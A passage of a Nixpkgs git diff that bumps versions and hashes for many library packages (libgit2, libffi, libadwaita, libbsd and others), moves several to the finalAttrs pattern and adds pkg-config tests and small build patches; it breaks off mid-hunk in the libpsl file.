a/pkgs/development/libraries/level-zero/default.nix b/pkgs/development/libraries/level-zero/default.nix index 50cbe4a18cc30..fb5c3ba283b6f 100644 --- a/pkgs/development/libraries/level-zero/default.nix +++ b/pkgs/development/libraries/level-zero/default.nix @@ -7,13 +7,13 @@ stdenv.mkDerivation rec { pname = "level-zero"; - version = "1.15.8"; + version = "1.16.1"; src = fetchFromGitHub { owner = "oneapi-src"; repo = "level-zero"; rev = "refs/tags/v${version}"; - hash = "sha256-n1dcsI2sLeB68HpI5oQ5p3zdAcSvnSY+qpHL9vp6FOk="; + hash = "sha256-iPWEZ9aJ3uI4cAKRgur78zdVwGtD6q1TqwNpK+mg5hw="; }; nativeBuildInputs = [ cmake addOpenGLRunpath ]; diff --git a/pkgs/development/libraries/lib3mf/default.nix b/pkgs/development/libraries/lib3mf/default.nix index 0da54cd61c070..2436fbc002872 100644 --- a/pkgs/development/libraries/lib3mf/default.nix +++ b/pkgs/development/libraries/lib3mf/default.nix @@ -12,6 +12,8 @@ stdenv.mkDerivation rec { sha256 = "sha256-WMTTYYgpCIM86a6Jw8iah/YVXN9T5youzEieWL/d+Bc="; }; + patches = [ ./upgrade-to-cpp-14.patch ]; + nativeBuildInputs = [ cmake ninja pkg-config ]; outputs = [ "out" "dev" ]; diff --git a/pkgs/development/libraries/lib3mf/upgrade-to-cpp-14.patch b/pkgs/development/libraries/lib3mf/upgrade-to-cpp-14.patch new file mode 100644 index 0000000000000..a453571838d0e --- /dev/null +++ b/pkgs/development/libraries/lib3mf/upgrade-to-cpp-14.patch @@ -0,0 +1,18 @@ +diff --git a/CMakeLists.txt b/CMakeLists.txt +index 9f719beb7..a20f84eb8 100644 +--- a/CMakeLists.txt ++++ b/CMakeLists.txt +@@ -34,12 +34,12 @@ if ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "GNU") + # using GCC + add_definitions(-DBUILD_DLL) + add_compile_options(-Wall) +- SET(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++11 -O2") ++ SET(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++14 -O2") + elseif ("${CMAKE_SYSTEM_NAME}" MATCHES "Darwin") + # using GCC + add_definitions(-DBUILD_DLL) + add_compile_options(-Wall) +- set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++11 -O2") ++ set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++14 -O2") + set(CMAKE_MACOSX_RPATH ON) + endif() diff --git a/pkgs/development/libraries/libadwaita/default.nix b/pkgs/development/libraries/libadwaita/default.nix index 40ff3f9b807ff..c46d69efbdc8f 100644 --- a/pkgs/development/libraries/libadwaita/default.nix +++ b/pkgs/development/libraries/libadwaita/default.nix @@ -17,9 +17,10 @@ , xvfb-run , AppKit , Foundation +, testers }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "libadwaita"; version = "1.4.3"; @@ -30,7 +31,7 @@ stdenv.mkDerivation rec { domain = "gitlab.gnome.org"; owner = "GNOME"; repo = "libadwaita"; - rev = version; + rev = finalAttrs.version; hash = "sha256-ctHAN0SY6k68jaBpmIpMm8DngC9DPiL1vAmGhECpNic="; }; @@ -50,7 +51,7 @@ stdenv.mkDerivation rec { mesonFlags = [ "-Dgtk_doc=true" - ] ++ lib.optionals (!doCheck) [ + ] ++ lib.optionals (!finalAttrs.doCheck) [ "-Dtests=false" ]; @@ -106,16 +107,20 @@ stdenv.mkDerivation rec { passthru = { updateScript = gnome.updateScript { - packageName = pname; + packageName = finalAttrs.pname; + }; + tests.pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; }; }; meta = with lib; { - changelog = "https://gitlab.gnome.org/GNOME/libadwaita/-/blob/${src.rev}/NEWS"; + changelog = "https://gitlab.gnome.org/GNOME/libadwaita/-/blob/${finalAttrs.src.rev}/NEWS"; description = "Library to help with developing UI for mobile devices using GTK/GNOME"; homepage = "https://gitlab.gnome.org/GNOME/libadwaita"; license = licenses.lgpl21Plus; maintainers = teams.gnome.members ++ (with maintainers; [ dotlambda ]); platforms = platforms.unix; + pkgConfigModules = [ "libadwaita-1" ]; }; -} +}) diff --git a/pkgs/development/libraries/libavif/default.nix b/pkgs/development/libraries/libavif/default.nix index 2cb7920cb5f9e..6df341d68eb84 100644 --- a/pkgs/development/libraries/libavif/default.nix +++ b/pkgs/development/libraries/libavif/default.nix @@ -19,13 +19,13 @@ in stdenv.mkDerivation rec { pname = "libavif"; - version = "1.0.3"; + version = "1.0.4"; src = fetchFromGitHub { owner = "AOMediaCodec"; repo = pname; rev = "v${version}"; - hash = "sha256-0MLr9wdIs3c4pOAF4rlC8QNQXlrK3YGXILS9foVKfVM="; + hash = "sha256-9YP4Zq6dehIJanNkpAJK1aYwSOAueqonF8k2t/3B4kw="; }; # reco: encode libaom slowest but best, decode dav1d fastest diff --git a/pkgs/development/libraries/libbap/default.nix b/pkgs/development/libraries/libbap/default.nix index ebbf02603cbb5..3ed92edd78e11 100644 --- a/pkgs/development/libraries/libbap/default.nix +++ b/pkgs/development/libraries/libbap/default.nix @@ -1,4 +1,4 @@ -{ lib, stdenv, fetchFromGitHub, bap, ocaml, findlib, ctypes, autoreconfHook, +{ lib, stdenv, fetchFromGitHub, bap, ocaml, findlib, ctypes, ctypes-foreign, autoreconfHook, which }: stdenv.mkDerivation { @@ -13,7 +13,7 @@ stdenv.mkDerivation { }; nativeBuildInputs = [ autoreconfHook which ocaml findlib ]; - buildInputs = [ bap ctypes ]; + buildInputs = [ bap ctypes ctypes-foreign ]; preInstall = '' mkdir -p $out/lib diff --git a/pkgs/development/libraries/libbsd/default.nix b/pkgs/development/libraries/libbsd/default.nix index 4f06eb7f8624d..9e80d17b8a033 100644 --- a/pkgs/development/libraries/libbsd/default.nix +++ b/pkgs/development/libraries/libbsd/default.nix @@ -1,25 +1,18 @@ { lib , stdenv -, fetchFromGitLab -, fetchpatch +, fetchurl , autoreconfHook , libmd , gitUpdater }: -# Run `./get-version` for the new value when bumping the Git revision. -let gitVersion = "0.11.7-55-g73b2"; in - -stdenv.mkDerivation { +stdenv.mkDerivation rec { pname = "libbsd"; - version = "unstable-2023-04-29"; + version = "0.11.8"; - src = fetchFromGitLab { - domain = "gitlab.freedesktop.org"; - owner = "libbsd"; - repo = "libbsd"; - rev = "73b25a8f871b3a20f6ff76679358540f95d7dbfd"; - hash = "sha256-LS28taIMjRCl6xqg75eYOIrTDl8PzSa+OvrdiEOP1+U="; + src = fetchurl { + url = "https://libbsd.freedesktop.org/releases/${pname}-${version}.tar.xz"; + hash = "sha256-Vf36Jpb7TVWlkvqa0Uqd+JfHsACN2zswxBmRSEH4XzM="; }; outputs = [ "out" "dev" "man" ]; @@ -31,24 +24,12 @@ stdenv.mkDerivation { nativeBuildInputs = [ autoreconfHook ]; propagatedBuildInputs = [ libmd ]; - patches = [ - # Fix `{get,set}progname(3bsd)` conditionalization - # https://gitlab.freedesktop.org/libbsd/libbsd/-/issues/24 - (fetchpatch { - url = "https://github.com/emilazy/libbsd/commit/0381f8d92873c5a19ced3ff861ee8ffe7825953e.patch"; - hash = "sha256-+RMg5eHLgC4gyX9zXM0ttNf7rd9E3UzJX/7UVCYGXx4="; - }) - ] ++ lib.optionals stdenv.isDarwin [ + patches = lib.optionals stdenv.isDarwin [ # Temporary build system hack from upstream maintainer # https://gitlab.freedesktop.org/libbsd/libbsd/-/issues/19#note_2017684 ./darwin-fix-libbsd.sym.patch ]; - postPatch = '' - substituteInPlace configure.ac \ - --replace 'm4_esyscmd([./get-version])' '[${gitVersion}]' - ''; - passthru.updateScript = gitUpdater { # No nicer place to find latest release. url = "https://gitlab.freedesktop.org/libbsd/libbsd.git"; diff --git a/pkgs/development/libraries/libcef/default.nix b/pkgs/development/libraries/libcef/default.nix index d0a9092f68983..d6d098110af8f 100644 --- a/pkgs/development/libraries/libcef/default.nix +++ b/pkgs/development/libraries/libcef/default.nix @@ -70,16 +70,16 @@ let projectArch = "x86_64"; }; }; - platforms."aarch64-linux".sha256 = "12sp58nxa3nv800badv62vpvc30hyb0ykywdaxgv9y8pswp9lq0z"; - platforms."x86_64-linux".sha256 = "0vzzwq1k6bv9d209yg3samvfnfwj7s58y9r3p3pd98wxa9iyzf4j"; + platforms."aarch64-linux".sha256 = "16sbfk599h96wcsmpbxlwsvq0n1pssmm8dpwmjsqfrn1464dvs68"; + platforms."x86_64-linux".sha256 = "1wa4nv28saz96kar9svdarfz6c4rnbcqz0rqxzl9zclnhfzhqdiw"; platformInfo = builtins.getAttr stdenv.hostPlatform.system platforms; in stdenv.mkDerivation rec { pname = "cef-binary"; - version = "117.2.4"; - gitRevision = "5053a95"; - chromiumVersion = "117.0.5938.150"; + version = "121.3.13"; + gitRevision = "5c4a81b"; + chromiumVersion = "121.0.6167.184"; src = fetchurl { url = "https://cef-builds.spotifycdn.com/cef_binary_${version}+g${gitRevision}+chromium-${chromiumVersion}_${platformInfo.platformStr}_minimal.tar.bz2"; diff --git a/pkgs/development/libraries/libcifpp/default.nix b/pkgs/development/libraries/libcifpp/default.nix index c98068f2809a2..782844453a12b 100644 --- a/pkgs/development/libraries/libcifpp/default.nix +++ b/pkgs/development/libraries/libcifpp/default.nix @@ -10,13 +10,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "libcifpp"; - version = "6.1.0"; + version = "7.0.1"; src = fetchFromGitHub { owner = "PDB-REDO"; repo = "libcifpp"; rev = "refs/tags/v${finalAttrs.version}"; - hash = "sha256-MddldYpvZHgAb/ndtWKdAf0TzKIYJalaywmSRZCtBmc="; + hash = "sha256-13jJH7YFlnb9hltCo/3kygPkXoE3ZZwZkG/ezbOxE2w="; }; nativeBuildInputs = [ diff --git a/pkgs/development/libraries/libdatovka/default.nix b/pkgs/development/libraries/libdatovka/default.nix index 99fce98b1926f..7d6896efa6397 100644 --- a/pkgs/development/libraries/libdatovka/default.nix +++ b/pkgs/development/libraries/libdatovka/default.nix @@ -15,11 +15,11 @@ stdenv.mkDerivation rec { pname = "libdatovka"; - version = "0.6.0"; + version = "0.6.2"; src = fetchurl { url = "https://gitlab.nic.cz/datovka/libdatovka/-/archive/v${version}/libdatovka-v${version}.tar.gz"; - sha256 = "sha256-+n2gKEi0TyTl/zEdJYpX1oPfGSftk6TzVjbVOuIMU3Q="; + sha256 = "sha256-4JFPlEpSFv5t3p/NGq0cfn+neJj2M0BNWWd6nlCjHE0="; }; patches = [ diff --git a/pkgs/development/libraries/libdeflate/default.nix b/pkgs/development/libraries/libdeflate/default.nix index 3bbf449d89aaf..7aa0cef5a81d5 100644 --- a/pkgs/development/libraries/libdeflate/default.nix +++ b/pkgs/development/libraries/libdeflate/default.nix @@ -4,15 +4,17 @@ , fixDarwinDylibNames , pkgsStatic , cmake +, testers }: -stdenv.mkDerivation rec { + +stdenv.mkDerivation (finalAttrs: { pname = "libdeflate"; version = "1.19"; src = fetchFromGitHub { owner = "ebiggers"; repo = "libdeflate"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; sha256 = "sha256-HgZ2an1PCPhiLsd3ZA7tgZ1wVTOdHzDr8FHrqJhEbQw="; }; @@ -21,14 +23,20 @@ stdenv.mkDerivation rec { nativeBuildInputs = [ cmake ] ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames; - passthru.tests.static = pkgsStatic.libdeflate; + passthru.tests = { + static = pkgsStatic.libdeflate; + pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; + }; + }; meta = with lib; { description = "Fast DEFLATE/zlib/gzip compressor and decompressor"; license = licenses.mit; homepage = "https://github.com/ebiggers/libdeflate"; - changelog = "https://github.com/ebiggers/libdeflate/blob/v${version}/NEWS.md"; + changelog = "https://github.com/ebiggers/libdeflate/blob/v${finalAttrs.version}/NEWS.md"; platforms = platforms.unix; maintainers = with maintainers; [ orivej kaction ]; + pkgConfigModules = [ "libdeflate" ]; }; -} +}) diff --git a/pkgs/development/libraries/libei/default.nix b/pkgs/development/libraries/libei/default.nix index 18bf680ca840b..688d0448861c7 100644 --- a/pkgs/development/libraries/libei/default.nix +++ b/pkgs/development/libraries/libei/default.nix @@ -23,14 +23,14 @@ let in stdenv.mkDerivation rec { pname = "libei"; - version = "1.2.0"; + version = "1.2.1"; src = fetchFromGitLab { domain = "gitlab.freedesktop.org"; owner = "libinput"; repo = "libei"; rev = version; - hash = "sha256-MHPWEBMtxoEJ8j3LyDPD+m3DsO9u8nE+/pPtRHHXEXA="; + hash = "sha256-8n/C0rBlyhY8SaxkwU+tDskwSQObLRrR+utk4Ktgb7U="; }; buildInputs = [ diff --git a/pkgs/development/libraries/libepoxy/default.nix b/pkgs/development/libraries/libepoxy/default.nix index cd98e2229fe23..9fab4c72947ed 100644 --- a/pkgs/development/libraries/libepoxy/default.nix +++ b/pkgs/development/libraries/libepoxy/default.nix @@ -11,13 +11,14 @@ , Carbon , OpenGL , x11Support ? !stdenv.isDarwin +, testers }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "libepoxy"; version = "1.5.10"; - src = fetchFromGitHub { + src = with finalAttrs; fetchFromGitHub { owner = "anholt"; repo = pname; rev = version; @@ -58,7 +59,7 @@ stdenv.mkDerivation rec { mesonFlags = [ "-Degl=${if (x11Support && !stdenv.isDarwin) then "yes" else "no"}" "-Dglx=${if x11Support then "yes" else "no"}" - "-Dtests=${lib.boolToString doCheck}" + "-Dtests=${lib.boolToString finalAttrs.doCheck}" "-Dx11=${lib.boolToString x11Support}" ]; @@ -66,6 +67,12 @@ stdenv.mkDerivation rec { doCheck = true; + passthru.tests = { + pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; + }; + }; + meta = with lib; { description = "A library for handling OpenGL function pointer management"; homepage = "https://github.com/anholt/libepoxy"; @@ -74,4 +81,4 @@ stdenv.mkDerivation rec { platforms = platforms.unix; pkgConfigModules = [ "epoxy" ]; }; -} +}) diff --git a/pkgs/development/libraries/libffi/default.nix b/pkgs/development/libraries/libffi/default.nix index 6394a35d782dc..ac910dc3d6490 100644 --- a/pkgs/development/libraries/libffi/default.nix +++ b/pkgs/development/libraries/libffi/default.nix @@ -6,14 +6,15 @@ , doCheck ? !(stdenv.hostPlatform.isStatic) , dejagnu , nix-update-script +, testers }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "libffi"; version = "3.4.4"; src = fetchurl { - url = "https://github.com/libffi/libffi/releases/download/v${version}/${pname}-${version}.tar.gz"; + url = with finalAttrs; "https://github.com/libffi/libffi/releases/download/v${version}/${pname}-${version}.tar.gz"; sha256 = "sha256-1mxWrSWags8qnfxAizK/XaUjcVALhHRff7i2RXEt9nY="; }; @@ -53,6 +54,11 @@ stdenv.mkDerivation rec { passthru = { updateScript = nix-update-script { }; + tests = { + pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; + }; + }; }; meta = with lib; { @@ -75,5 +81,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = with maintainers; [ matthewbauer ]; platforms = platforms.all; + pkgConfigModules = [ "libffi" ]; }; -} +}) diff --git a/pkgs/development/libraries/libfilezilla/default.nix b/pkgs/development/libraries/libfilezilla/default.nix index 99a3351d56eef..7e90a05fb5b0d 100644 --- a/pkgs/development/libraries/libfilezilla/default.nix +++ b/pkgs/development/libraries/libfilezilla/default.nix @@ -12,11 +12,11 @@ stdenv.mkDerivation rec { pname = "libfilezilla"; - version = "0.45.0"; + version = "0.46.0"; src = fetchurl { url = "https://download.filezilla-project.org/${pname}/${pname}-${version}.tar.xz"; - hash = "sha256-PBRUvBWG0Xd29ix1BdQ6BtOr0uLjVkLMpHf6IvJ9mC8="; + hash = "sha256-OHr1xNSENIKl+/GD0B3ZYZtLha+g1olcXuyzpgEvrCE="; }; nativeBuildInputs = [ autoreconfHook pkg-config ]; diff --git a/pkgs/development/libraries/libfive/default.nix b/pkgs/development/libraries/libfive/default.nix index 95fcf7131103e..3f3c7f753c70c 100644 --- a/pkgs/development/libraries/libfive/default.nix +++ b/pkgs/development/libraries/libfive/default.nix @@ -2,6 +2,7 @@ , stdenv , wrapQtAppsHook , fetchFromGitHub +, unstableGitUpdater , cmake , ninja , pkg-config @@ -17,13 +18,13 @@ stdenv.mkDerivation { pname = "libfive"; - version = "unstable-2023-06-07"; + version = "0-unstable-2024-02-14"; src = fetchFromGitHub { owner = "libfive"; repo = "libfive"; - rev = "c85ffe1ba1570c2551434c5bad731884aaf80598"; - hash = "sha256-OITy3fJx+Z6856V3D/KpSQRJztvOdJdqUv1c65wNgCc="; + rev = "7af5f43684a8a497ac8610d39f7fca935364a9b9"; + hash = "sha256-GQzsHKeKsCWKOVfBrTuUFq2XasPxhsN+19stWY0WtVc="; }; nativeBuildInputs = [ wrapQtAppsHook cmake ninja pkg-config python.pkgs.pythonImportsCheckHook ]; @@ -95,6 +96,8 @@ stdenv.mkDerivation { "libfive.stdlib" ]; + passthru.updateScript = unstableGitUpdater { }; + meta = with lib; { description = "Infrastructure for solid modeling with F-Reps in C, C++, and Guile"; homepage = "https://libfive.com/"; diff --git a/pkgs/development/libraries/libgbinder/default.nix b/pkgs/development/libraries/libgbinder/default.nix index 4a4a0ee6bf21f..c0f4577078e23 100644 --- a/pkgs/development/libraries/libgbinder/default.nix +++ b/pkgs/development/libraries/libgbinder/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "libgbinder"; - version = "1.1.36"; + version = "1.1.37"; src = fetchFromGitHub { owner = "mer-hybris"; repo = pname; rev = version; - sha256 = "sha256-QTlOiZG6qpNeicMJpOTMSTk2WwKbOzkaLulgmsxYaVI="; + sha256 = "sha256-/XxWOaT2f6+0apv0NzMsPoYBf3GLuaXyPkmTMTDtOes="; }; outputs = [ "out" "dev" ]; diff --git a/pkgs/development/libraries/libgig/default.nix b/pkgs/development/libraries/libgig/default.nix index 48d45797096b8..fcc44025400c6 100644 --- a/pkgs/development/libraries/libgig/default.nix +++ b/pkgs/development/libraries/libgig/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "libgig"; - version = "4.4.0"; + version = "4.4.1"; src = fetchurl { url = "https://download.linuxsampler.org/packages/${pname}-${version}.tar.bz2"; - sha256 = "sha256-ZwQMrK8da12lFz7UAY2i+eW3rzPFhngdUfeV3hW65iI="; + sha256 = "sha256-/cie+rH5BhKObFRymWdXfo0EYgFwGLwSVRJX313+OqQ="; }; nativeBuildInputs = [ autoconf automake libtool pkg-config ]; diff --git a/pkgs/development/libraries/libgit2/default.nix b/pkgs/development/libraries/libgit2/default.nix index 957a146ce2a04..a554f0dd45b7e 100644 --- a/pkgs/development/libraries/libgit2/default.nix +++ b/pkgs/development/libraries/libgit2/default.nix @@ -20,7 +20,7 @@ stdenv.mkDerivation rec { pname = "libgit2"; - version = "1.7.1"; + version = "1.7.2"; # also check the following packages for updates: python3Packages.pygit2 and libgit2-glib outputs = ["lib" "dev" "out"]; @@ -29,7 +29,7 @@ stdenv.mkDerivation rec { owner = "libgit2"; repo = "libgit2"; rev = "v${version}"; - hash = "sha256-3W0/i6Pu7I7D1zMQhmEqJVsa7PZpKOqU1+udNENSBvM="; + hash = "sha256-fVPY/byE2/rxmv/bUykcAbmUFMlF3UZogVuTzjOXJUU="; }; cmakeFlags = [ diff --git a/pkgs/development/libraries/libgudev/default.nix b/pkgs/development/libraries/libgudev/default.nix index fd21c9e7f85e2..68e3e42476e72 100644 --- a/pkgs/development/libraries/libgudev/default.nix +++ b/pkgs/development/libraries/libgudev/default.nix @@ -30,7 +30,7 @@ stdenv.mkDerivation (finalAttrs: { ./tests-skip-double-test-on-stub-locale-impls.patch ]; - postPatch = '' + postPatch = lib.optionalString finalAttrs.finalPackage.doCheck '' # The relative location of LD_PRELOAD works for Glibc but not for other loaders (e.g. pkgsMusl) substituteInPlace tests/meson.build \ --replace "LD_PRELOAD=libumockdev-preload.so.0" "LD_PRELOAD=${lib.getLib umockdev}/lib/libumockdev-preload.so.0" diff --git a/pkgs/development/libraries/libidn/default.nix b/pkgs/development/libraries/libidn/default.nix index da37ef781b357..59cacfc4466e8 100644 --- a/pkgs/development/libraries/libidn/default.nix +++ b/pkgs/development/libraries/libidn/default.nix @@ -39,6 +39,7 @@ stdenv.mkDerivation (finalAttrs: { included. ''; + mainProgram = "idn"; license = lib.licenses.lgpl2Plus; pkgConfigModules = [ "libidn" ]; platforms = lib.platforms.all; diff --git a/pkgs/development/libraries/libidn2/default.nix b/pkgs/development/libraries/libidn2/default.nix index 8fcbe42650fcc..bfe9c2a24264f 100644 --- a/pkgs/development/libraries/libidn2/default.nix +++ b/pkgs/development/libraries/libidn2/default.nix @@ -39,6 +39,7 @@ stdenv.mkDerivation rec { detailed information. ''; + mainProgram = "idn2"; license = with lib.licenses; [ lgpl3Plus gpl2Plus gpl3Plus ]; platforms = lib.platforms.all; maintainers = with lib.maintainers; [ fpletz ]; diff --git a/pkgs/development/libraries/libidn2/no-bootstrap-reference.nix b/pkgs/development/libraries/libidn2/no-bootstrap-reference.nix index e5922073437de..216beb5c48bda 100644 --- a/pkgs/development/libraries/libidn2/no-bootstrap-reference.nix +++ b/pkgs/development/libraries/libidn2/no-bootstrap-reference.nix @@ -8,6 +8,7 @@ runCommandLocal passthru = { inherit (libidn2) out info devdoc; # no need to touch these store paths }; + inherit (libidn2) meta; } '' cp -r '${libidn2.bin}' "$bin" diff --git a/pkgs/development/libraries/libime/default.nix b/pkgs/development/libraries/libime/default.nix index 5f914485993a0..ff9301eb9caf0 100644 --- a/pkgs/development/libraries/libime/default.nix +++ b/pkgs/development/libraries/libime/default.nix @@ -29,13 +29,13 @@ let in stdenv.mkDerivation rec { pname = "libime"; - version = "1.1.5"; + version = "1.1.6"; src = fetchFromGitHub { owner = "fcitx"; repo = "libime"; rev = version; - hash = "sha256-AvlQOpjrHSifUtWSTft2bywlWhwka26VcqqReqAlcv8="; + hash = "sha256-PhzJtAGmSkMeXMSe2uR/JKHKlZtL0e3tPDZVoRCvAis="; fetchSubmodules = true; }; diff --git a/pkgs/development/libraries/libinput/default.nix b/pkgs/development/libraries/libinput/default.nix index 16193e5e5148e..2a1c2f8b45a9b 100644 --- a/pkgs/development/libraries/libinput/default.nix +++ b/pkgs/development/libraries/libinput/default.nix @@ -130,7 +130,7 @@ stdenv.mkDerivation rec { description = "Handles input devices in Wayland compositors and provides a generic X.Org input driver"; homepage = "https://www.freedesktop.org/wiki/Software/libinput/"; license = licenses.mit; - platforms = platforms.unix; + platforms = platforms.linux; maintainers = with maintainers; [ codyopel ] ++ teams.freedesktop.members; changelog = "https://gitlab.freedesktop.org/libinput/libinput/-/releases/${version}"; }; diff --git a/pkgs/development/libraries/libjwt/default.nix b/pkgs/development/libraries/libjwt/default.nix index 4d2c11601135c..3d26d6a090c69 100644 --- a/pkgs/development/libraries/libjwt/default.nix +++ b/pkgs/development/libraries/libjwt/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "libjwt"; - version = "1.16.0"; + version = "1.17.0"; src = fetchFromGitHub { owner = "benmcollins"; repo = "libjwt"; rev = "v${version}"; - sha256 = "sha256-5hbmEen31lB6Xdv5WU+8InKa0+1OsuB8QG0jVa1+a2w="; + sha256 = "sha256-ZMmXn/vKARz9Erg3XS2YICSq5u38NZFMDAafXXzE1Ss="; }; buildInputs = [ jansson openssl ]; diff --git a/pkgs/development/libraries/libks/default.nix b/pkgs/development/libraries/libks/default.nix index d3279bbe991a0..0b1135f8522ba 100644 --- a/pkgs/development/libraries/libks/default.nix +++ b/pkgs/development/libraries/libks/default.nix @@ -13,13 +13,13 @@ stdenv.mkDerivation rec { pname = "libks"; - version = "2.0.3"; + version = "2.0.4"; src = fetchFromGitHub { owner = "signalwire"; repo = pname; rev = "v${version}"; - sha256 = "sha256-iAgiGo/PMG0L4S/ZqSPL7Hl8akCNyva4JhaOkcHit8w="; + sha256 = "sha256-G2ZsTm7qyEhkys+3lcuq1VsKTz3RpfodDekecRRk++w="; }; patches = [ diff --git a/pkgs/development/libraries/libmanette/default.nix b/pkgs/development/libraries/libmanette/default.nix index a9e18f4023207..e5bbf9a39cb9d 100644 --- a/pkgs/development/libraries/libmanette/default.nix +++ b/pkgs/development/libraries/libmanette/default.nix @@ -19,13 +19,13 @@ stdenv.mkDerivation rec { pname = "libmanette"; - version = "0.2.6"; + version = "0.2.7"; outputs = [ "out" "dev" ] ++ lib.optional withIntrospection "devdoc"; src = fetchurl { url = "mirror://gnome/sources/${pname}/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz"; - sha256 = "1b3bcdkk5xd5asq797cch9id8692grsjxrc1ss87vv11m1ck4rb3"; + hash = "sha256-zd1cAqExBywZxs3m8sss1X6ufay1DRTDN+/ZgLqlGlE="; }; nativeBuildInputs = [ diff --git a/pkgs/development/libraries/libmediainfo/default.nix b/pkgs/development/libraries/libmediainfo/default.nix index 94acb13205b50..ee81e63ba5e4a 100644 --- a/pkgs/development/libraries/libmediainfo/default.nix +++ b/pkgs/development/libraries/libmediainfo/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "libmediainfo"; - version = "23.11"; + version = "24.01"; src = fetchurl { url = "https://mediaarea.net/download/source/libmediainfo/${version}/libmediainfo_${version}.tar.xz"; - hash = "sha256-GX5U/MeePA1d9EqPWNxOAYvC+F0T+jvtVK89xW1ehT0="; + hash = "sha256-oC38Zon0hc7Ab6EqNBTDw6ooU7Td4YrqtLVKVsgxYlk="; }; nativeBuildInputs = [ autoreconfHook pkg-config ]; diff --git a/pkgs/development/libraries/libnabo/default.nix b/pkgs/development/libraries/libnabo/default.nix index af5e78c25d669..c6268ea3ee7e1 100644 --- a/pkgs/development/libraries/libnabo/default.nix +++ b/pkgs/development/libraries/libnabo/default.nix @@ -1,14 +1,14 @@ {lib, stdenv, fetchFromGitHub, cmake, eigen, boost}: stdenv.mkDerivation rec { - version = "1.0.7"; + version = "1.1.0"; pname = "libnabo"; src = fetchFromGitHub { owner = "ethz-asl"; repo = "libnabo"; rev = version; - sha256 = "17vxlmszzpm95vvfdxnm98d5p297i10fyblblj6kf0ynq8r2mpsh"; + sha256 = "sha256-KWqNJWdyFFe5zAs1HzGnIshGXkBAKjnbEmBZXxty99E="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/development/libraries/libnats-c/default.nix b/pkgs/development/libraries/libnats-c/default.nix index e0ee93c162869..35aff3d5deefe 100644 --- a/pkgs/development/libraries/libnats-c/default.nix +++ b/pkgs/development/libraries/libnats-c/default.nix @@ -5,13 +5,13 @@ stdenv.mkDerivation rec { pname = "libnats"; - version = "3.7.0"; + version = "3.8.0"; src = fetchFromGitHub { owner = "nats-io"; repo = "nats.c"; rev = "v${version}"; - sha256 = "sha256-BIEe3DhPqyK+vAAk/6x8Ui+4t+IUyvtHf5Lk2AZVuC8="; + sha256 = "sha256-fIm5RBX6m0zSeq2WvpIEi2+ibpnyqsFkeP0T9NS+sOw="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/development/libraries/libosmium/default.nix b/pkgs/development/libraries/libosmium/default.nix index 63aab4c0bfb10..211ca0559b9a8 100644 --- a/pkgs/development/libraries/libosmium/default.nix +++ b/pkgs/development/libraries/libosmium/default.nix @@ -27,6 +27,6 @@ stdenv.mkDerivation rec { "https://github.com/osmcode/libosmium/releases/tag/v${version}" "https://github.com/osmcode/libosmium/blob/v${version}/CHANGELOG.md" ]; - maintainers = with maintainers; [ das-g ]; + maintainers = with maintainers; teams.geospatial.members ++ [ das-g ]; }; } diff --git a/pkgs/development/libraries/libosmscout/default.nix b/pkgs/development/libraries/libosmscout/default.nix index 8452ccffe389d..c33b8881a03af 100644 --- a/pkgs/development/libraries/libosmscout/default.nix +++ b/pkgs/development/libraries/libosmscout/default.nix @@ -1,4 +1,4 @@ -{ lib, mkDerivation, fetchFromGitHub, cmake, pkg-config +{ lib, mkDerivation, fetchFromGitHub, fetchpatch, cmake, pkg-config , marisa, qttools, qtlocation }: mkDerivation rec { @@ -12,6 +12,16 @@ mkDerivation rec { sha256 = "sha256-Qe5TkF4BwlsEI7emC0gdc7SmS4QrSGLiO0QdjuJA09g="; }; + patches = [ + # Fix build with libxml v2.12 + # FIXME: Remove at next package update + (fetchpatch { + name = "libxml-2.12-fix.patch"; + url = "https://github.com/Framstag/libosmscout/commit/db7b307de1a1146a6868015a0adfc2e21b7d5e39.patch"; + hash = "sha256-5NDamzb2K18sMVfREnUNksgD2NL7ELzLl83SlGIveO0="; + }) + ]; + cmakeFlags = [ "-DOSMSCOUT_BUILD_TESTS=OFF" ]; nativeBuildInputs = [ cmake pkg-config ]; diff --git a/pkgs/development/libraries/libpaper/default.nix b/pkgs/development/libraries/libpaper/default.nix index b9372ba1d4073..9e36812e7e897 100644 --- a/pkgs/development/libraries/libpaper/default.nix +++ b/pkgs/development/libraries/libpaper/default.nix @@ -1,12 +1,12 @@ { lib, stdenv, fetchurl, autoreconfHook }: stdenv.mkDerivation rec { - version = "1.1.28"; + version = "1.1.29"; pname = "libpaper"; src = fetchurl { url = "mirror://debian/pool/main/libp/libpaper/libpaper_${version}.tar.gz"; - sha256 = "sha256-yLuUbsk9PCxyu7HXJX6QFyoipEoHoH+2uAKluyyV/dw="; + hash = "sha256-JjMOIemjEkZY1RX9hQsM3lRv9C2JsllqUmTF8Wd/BUc="; }; nativeBuildInputs = [ autoreconfHook ]; diff --git a/pkgs/development/libraries/libpsl/default.nix b/pkgs/development/libraries/libpsl/default.nix index 3d0a3f2087142..f4f6375cb419e 100644 --- a/pkgs/development/libraries/libpsl/default.nix +++ b/pkgs/development/libraries/libpsl/default.nix @@ -78,7 